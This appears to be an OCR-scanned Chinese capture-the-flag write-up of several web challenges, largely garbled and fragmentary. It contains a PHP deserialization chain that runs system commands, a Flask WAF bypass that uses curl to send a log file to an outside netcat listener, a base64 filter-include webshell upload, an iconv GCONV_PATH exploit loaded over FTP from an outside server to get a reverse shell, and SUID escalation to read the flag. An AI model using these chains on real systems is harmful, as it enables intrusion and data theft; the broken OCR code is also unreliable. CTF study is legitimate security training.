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class crow

{
public $vi;
public $v2;

function eval() {
echo new $this->v1($this

public function __ invoke()

{
$this->v1->world();

class fin

{
public $f1;

public function _ destruct()

{
echo $this->f1

public function run()

{
($this->f1)();

public function _ call($a, $b)

{
echo $this->f1->get flag();

class what

{
public $a;

public function __ toString()
{
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$this->a->run();

return 5

}

class mix

{
public $mi;

public function run()

{
($this->m1)();

public function get flag()

{
eval( $this->m1);

if (isset($_POST[ 1) {
unserialize($_POST[ 1);

} else {
highlight_file(_ FILE_ );
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public
public $v2;

public function _ construct($vil)

{
$this->vl = $vi;

class fin

{
public $f1;

public function _ construct($f1)

{
$this->f1 $f1;

class what

{
public $a;

public function __ construct($a)

{
$this->a $a;

}

class mix

{

public $mi1;

public function __ construct($ml)

{
$this->ml $ml;

new mix(
new fin($f);
new crow($e);
new mix($d);
new what($c);
new fin($b);
echo urlencode(serialize($a));




POST / HITR/1.1

Host: Th010262-daZ8-4fc9-a601-eBbed4281dTea. noded, buuoj. cn: 81

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64, =64; rv:98.0)
Gecko/20100101 Firefox/98.0

Aecept:

text/htnl, application/zhtml+xml, application/znl; q=0. 9, inage/avif, image/we
bp. */#;q=0,8
Accept-Language:
zh-CN. zh:q=0. 8, zh-TW: g=0. 7, zh-HK : g=0. 5, en-US: g=0. 3, en;g=0. 2
Accept-Encoding: gzip, deflate

Content—Ivype: application/z—www—form-urlencoded

Content-Length: 180

Origin: http://Th010262-da28-4fcO-af01-e8he4281d7ea. noded. buuoj. cn: 81
Commection: close

Referer: http://Th010262-dal8-4fct-afll-e8bed281dTea. noded. buuoj. cn: 817
Cockie
UM_distinetid=17da%ad6e4b040-08d88hdc55401f-4c3217e—1fa400-17da%ad6e4d50
1

Upgrade-Insecure-Requests: 1

: 170
“erow”:2: {s:2:"v17:0: 3: "L :
system(’ cat * ) ;" }lsr 2 w20

calc

ALE 4 T R

T

HTTF/1.1 200 OK !
Server: openresty

Date: Mon, 28 Mar 2022 14:57:06 GMI

Content—Type: text/html; charset=UTF-2

Commection: close

Vary: Accept-Encoding

X-Powered-By: PHP/T.3.28

Content-Length: 1424

think meore.not
think mere.not here. but it's clese, think more.not here,
think more. congratulations!

not here, but it’s clese, think mere.not here, but it's close,
here, but it's close,
but it’s clese,
<7php

//flag{a23481f9-heTd-40c9-8bbe-9f22640ee2e0}
not here, but it’s close, think more.not here, but it’s close, think more.not here, but it’s
close, think mere.not here, but you are almost getting the flag! <¥php

class crow

{
public §v1;
public $v2:

function eval() {
echo new $this—>wi($this—>v2)
¥



from flask import Flask,render_template,url for,render_template_string,redirect,request,current_app,session,abon

t,send_from_directory

import random

from urllib import parse

import os

from werkzeug.utils import secure_filename

import time

app=Flask(__name_ )

def waf(s):
blacklist

flag = True
for no in blacklist:
if no.lower() in s.lower():
flag= False
print(no)
break

return flag

@app.route(
def index():

return render_template(

@app.route( ,methods=[ D)
def calc():
ip request.remote_addr
num request.values.get(
log . (time.strftime( ,time.localtime()),ip,num)

if waf(num):
try:
data (num)
os.system(log)
except:
pass
return
else:

return

if _ name_ :
app.run(host ,port=5000)

BEAERMIAR

data = eval(num) ##4Tpython code
os.system(log) #BUTRZAMmA
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BAFIA curl 1 tmp/log.txt 1/ I 2415 Sk ED ]

[root@VM-4-13—-centos ~]# nc —lwwn 39543
Ncat: Version 7.70 ( https://omap.org/ncat )
Ncat: Listening on :::39543

Ncat: Listening on 0.0.0.0:39543

Ncat: Connection from 117.21.200.166.

Ncat: Connection from 117.21.200.166:35594.
BOST / HTTE/1.1

Host: 1.117.171.248:39543

User—Agent: curl/7.64.0

Accept: */*

Content-Length: 260

Content-Type: multipart/form—data; boundary=

—T15afa60basefc33a
Content-Disposition: —data; name="xx"; filename="log.txt"
Content-Type: text/plain

20220328-153631 10.244.80.46 123#flag{d992b590—fdf5-4a5f-b53c-12%9=2a041878}#

X BAE, fuzz—F, BwafEA] LA _EfEphpscfE

it — F phpinfo



Core

| PHP Version

| 8.0.1

allow_url fopen On On
allow _url_include Off Off
arg_separatorinput & &
arg_separator.output & &
auto_append_file no value no value
auto_globals jit On On
auto_prepend file no value

rval

browscap

default_charset UTF-8 UTF-8

default mimetype text/html text/html

disable classes FF1,SplDoublyLinkedList,ReflectionProperty,Datelnte | FFl,SplDoublylinkedList, ReflectionProperty, Datelnte

rval

disable functions

zend_version, func_num_args, func_get_arg, func_ge
t_args, strcmp, strmcmp, strcasecmp, strmcasecmp, e
ach, error_log, defined, get_class, get_called class, g
et_parent_class, method_exists, property_exists, clas
s_exists, interface_exists, trait_exists, function_exists,
class_alias, get_included _files, get_required files, is_
subclass_of, is_a, get_class_vars, get_object_vars, get
_mangled_object vars, get_class_methods, trigger_e
rror, user_error, restore_error_handler, set_exception
_handler, restore_exception_handler, get_declared cl
asses, get_declared traits, get_declared_interfaces, g
et_defined_functions, get_defined vars, create_funct
ion, get_resource_type, get_resources, get_loaded e
xtensions, extension_loaded, get_extension_funcs, g
et _defined_constants, debug_backtrace, debug_prin
t backtrace, gc_mem_caches, gc_collect_cycles, gc_e
nabled, gc_enable, gc_disable, gc_status, strtotime,

date, idate, gmdate, mktime, gmmbktime, checkdate,
strftime, gmstrftime, time, localtime, getdate, date_
create, date_create_immutable, date_create_from_fo
rmat, date_create_immutable_from_format, date_par
se, date_parse_from_format, date_get_last_errors, da
te_format, date_modify, date_add, date_sub, date_ti

mezone_get, date_timezone_set, date_offset_get, da
te_diff, date_time_set, date_date set, date_isodate s
et, date_timestamp_set, date_timestamp_get, timez

zend_version, func_num_args, func_get_arg, func_ge
t_args, strcmp, strncmp, strcasecmp, strncasecmp, e
ach, error_log, defined, get class, get_called class, g
et_parent_class, method_exists, property_exists, clas
s_exists, interface_exists, trait_exists, function_exists,
class_alias, get_included files, get_required files, is_
subclass_of, is_a, get_class_vars, get_object_vars, get
_mangled_object _vars, get_class_methods, trigger_e
rror, user_error, restore_error_handler, set_exception
_handler, restore_exception_handler, get_declared ¢l
asses, get_declared traits, get_declared_interfaces, g
et_defined_functions, get_defined_wvars, create_funct
ion, get_resource_type, get_resources, get_loaded e
xtensions, extension_loaded, get_extension_funcs, g
et_defined_constants, debug_backtrace, debug_prin
t backtrace, gc_mem_caches, gc_collect_cycles, gc_e
nabled, gc_enable, gc_disable, gc_status, strtotime,
date, idate, gmdate, mktime, gmmktime, checkdate,
strftime, gmstrftime, time, localtime, getdate, date_
create, date_create_immutable, date_create_from_fo
rmat, date_create_immutable_from_format, date_par
se, date_parse_from_format, date_get_last_errors, da
te_format, date_modify, date_add, date_sub, date_ti
mezone_get, date_timezone_set, date_offset_get, da
te_diff, date_time_set, date_date set, date isodate s
et, date_timestamp_set, date_timestamp_get, timez

TR TIREZEE, B —% show_source , putenv, mail Z&H LI
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function fun($var):
$blacklist [

foreach($blacklist as $blackword){

if(strstr($var, $blackword)) return True;

return False;

}

error_reporting(0);

$ FILES[ 18
$file name = $ FILES[ IE
$ext = pathinfo($file_name, PATHINFO_EXTENSION);
if(!preg_match( , strtolower($ext))){
die( )3
}

$content = file get contents($temp_file);
if(fun($content)){
die( )§
bj
$new_file name = md5($file_name) $ext;
$img_path = UPLOAD_PATH $new_file name;

if (move_uploaded_file($temp file, $img _path)){
$is_upload = true;
} else {
$msg
die();
b
echo $img_path

KL R 2 strstr() SPRNEEBUR, ATULA RN #ITSGE. B TAWAF, RAITAT LA Efibase64%mid )5 i — A EAR S, FHA
Hinclude+fh 1 i 8. & getshell

b —HiEARE
PD9waHAgZXZhbCgkX1JFUVVFU1RbMVOpOzZ8+
2 Phh i EE
<?php Include(base64 decode (" cGhw0i8vZmlsdGVyL2NvbnZlcnQuYmFzZTYOLWR1Y29kZS9yZXNvdXIjZTOYNWEONTI5SMjcxMTB1Mz1hMzQ
1YTIIMTFJNTCc2NDmMiSwaHA="));?>




PHP Version 8.0.1 php

System Linux out 4.19.221-0419221-generic #202112141049 SMP Tue Dec 14 11:54:51 UTC 2021 x86_64

Build Date Jan 12 2021 01:45:56

Build System Linux c2d0752ec245 4.9.0-8-amd64 #1 SMP Debian 4.9.110-3+deb9u4d (2018-08-21) x86_64 GNU/Linux
Configure Command *feonfigure' "--build=xB6_64-linux-gnu' '--with-config-file-path=/usr/local/etc/php" '--with-config-file-

scan-dir=/usr/localfetc/php/conf.d’ '--enable-option-checking=fatal' '--with-mhash’ '--with-pic' '--enable-
ftp' "--enable-mbstring’ --enable-mysqlnd' '--with-password-argon2' "--with-sadium=shared’ "--with-
pdo-sqlite=/usr' "--with-sqlite3=/usr’ --with-curl® "--with-libedit” '--with-openss|' --with-zlib* "--with-pear’
*--with-libdir=lib/x86_64-linux-gnu’ "--with-apxs2' '--disable-cgi' 'build_alias=x86_64-linux-gnu'

Server API Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path fusr/localfetc/php

Loaded Configuration File fusr/localfetc/php/php.ini

Scan this dir for additional .ini files Jusrflocalfetc/php/conf.d

Additional .ini files parsed fusr{localfetc/php/conf.d/docker-php-ext-gd.ini, fusr/local/etc/php/conf.d/docker-php-ext-sodium.ini
PHP API 20200930

PHP Extension 20200930

Zend Extension 420200930

Zend Extension Build API420200930,NTS

Max HacKBar

hiip://04133b60-1100-4 bd66-cbdif248118d noded buuoj.cn:81/uploads/d8893993a881886517a4ef00b288a207 php

¥ PostData ll Referrer Reverse u» +4a Base6d i “ Url & | MD5 & SHA1 & SHA256 4 ROTIS

1=phpinfo();

2 J5 % fE%itdisable_functions, #|FHphp iconv:

HE&exp.c

system(

i V¥ -

gcc exp.c -0 exp.so -shared -fPIC

gconv-modules

EXP// INTERNAL cid ok oid o] /. /tmp/exp

INTERNAL EXP// oSS /tmp/exp

B TR 2 30 AR B I8, FATTAT BRI A pythond i — AMtp ik 55 #84% XA



from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler

from pyftpdlib.servers import FTPServer
authorizer = DummyAuthorizer()

authorizer.add_anonymous (

handler FTPHandler

handler.authorizer authorizer

handler.masquerade_address

handler.passive ports (9998, 10000)

server FTPServer (( , 23), handler)

server.serve_forever()

$local file
$server file
$ftp _server
$ftp_port=23;

$ftp ftp_connect($ftp_server,$ftp_port);

$login_result ftp_login($ftp,

ftp_pasv($ftp,1);

if (ftp_get($ftp, $local file, $server_file, FTP_BINARY)) {
$local file B




POST /uploads/d8993993a881886517adef00b288a207. php HITP/1. 1 A HITP/1.1 200 OK

Host: 04133b60-f100-4c3e-hd66-chdff248118d. noded. buuoj. cn: 81 r Server: openresty

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; =64; 1+:98.0) Gecke/20100101 Date: Tue, 29 Mar 2022 11:20:47 GMT
Firefox/98.0 Content-Type: text/htnl; charset=UTF-8
Accept: Content—Length: 36

text/html, application/zhtnl+zml. application/znl;q=0. 9, inage/avif, inage/wehp, #/#*; q=0 Commection: close

.8

Accept-Language: zh-CH, zh;gq=0. 8, zsh-TW,; g=0. 7, zh-HEK ; ¢=0. 5, en-US ; g=0. 3, en; g=0. 2 Successfully written to /tmp/exp. so

Accept-Encoding: gzip, deflate

Content-Type: application/z—www—form—urlencoded

Content-Length: 411

Origin: http: //04133b60-f100-4c3e—bd66-chdff2431138d. noded. buusj. en: 81

Comnection: close

Referer:

http: //04133b6E0-f100-4c3e—bd66-chbdf£245118d. noded. bunoj. en: 81/ Thttp: %2f%2f04133b60-F
100-4c3e-bdGG-chdff248118d. noded. buuoj. cn: 81%2fuploadsh2fdE993953a88188651 Tadef 002
88a207. php

Cookie: UM distinctid=17da%adEedb940-08d88bdcbo401f-4c3ellTe-1fad00-1Tda%dbeddb01
Upgrade-Insecure-Requests: 1

1=
$local_file = " /tmp/exp.so” ;
$server_file = “exp.so’;

$ftp_server = "1.117.171.2487 ;
$ftp_port=23;

$ftp = ftp_comnect ($ftp_server, $ftp_port) ;

$login_result = ftp_login($ftp. ~anonymous’, ') ;
fip_pasvifftp, 1) ;

if (ftp_get ($ftp. $local file. $server file, FTP_BINARY)) {
echo "Successfully written to $local_file'\n";

} oelse {
echo "There was a problem'n”;

}

ftp_close ($ftp) ;

AR R = #shell

putenv("GCONV_PATH=/tmp/"); ude('php://filter/read=c /resourc

[root@VM-4-13—centos tmpl# nc —lvwn 398543
Ncat: Version 7.70 ( https://omap.org/ncat )
Ncat: Listening on :::39543

Ncat: Listening on 0.0.0.0:39543

Ncat: Connection from 117.21.200.166.

Ncat: Connection fr 117.21.200.16 2374.
bash: cannot set terminal process group (23): Inappropriate ioctl for dewvice
bash: no job control in this shell
www—datalout: /var/www/html /uploads$ cat /flag
cat [flag

cat: [flag: Permission denied

R JE K IBA PR Eflag, suidi2AX

-user root -perm -4000 -p 2>/dev/null

KInldr< BA AR, nlf) g R AT



www—datal@out : /var/www/html/uploads$ find / —user root —perm —4000 —print 2>/dev/null
<35 find / —user root —perm —4000 —print 2>/dev/null

/bin/mount

/bin/su

/bin/umount

/fusr/bin/chfn

/fusr/bin/chsh

/fusr/bin/gpasswd
fusr/bin/newgrp
fusr/bin/nl
/fusr/bin/pasawd
www—datalout : /var/www/html /uploads$ nl /flag
nl /flag
1 flag{70284f62-9b01-4a42-962f-6B26d9%60a323}
www—data@out : /var/www/html /uploadss JJ

*h7e:

system(

uid_t getuid() {
if (getenv(

return 0;

}

unsetenv(

payload();

move_uploaded_file
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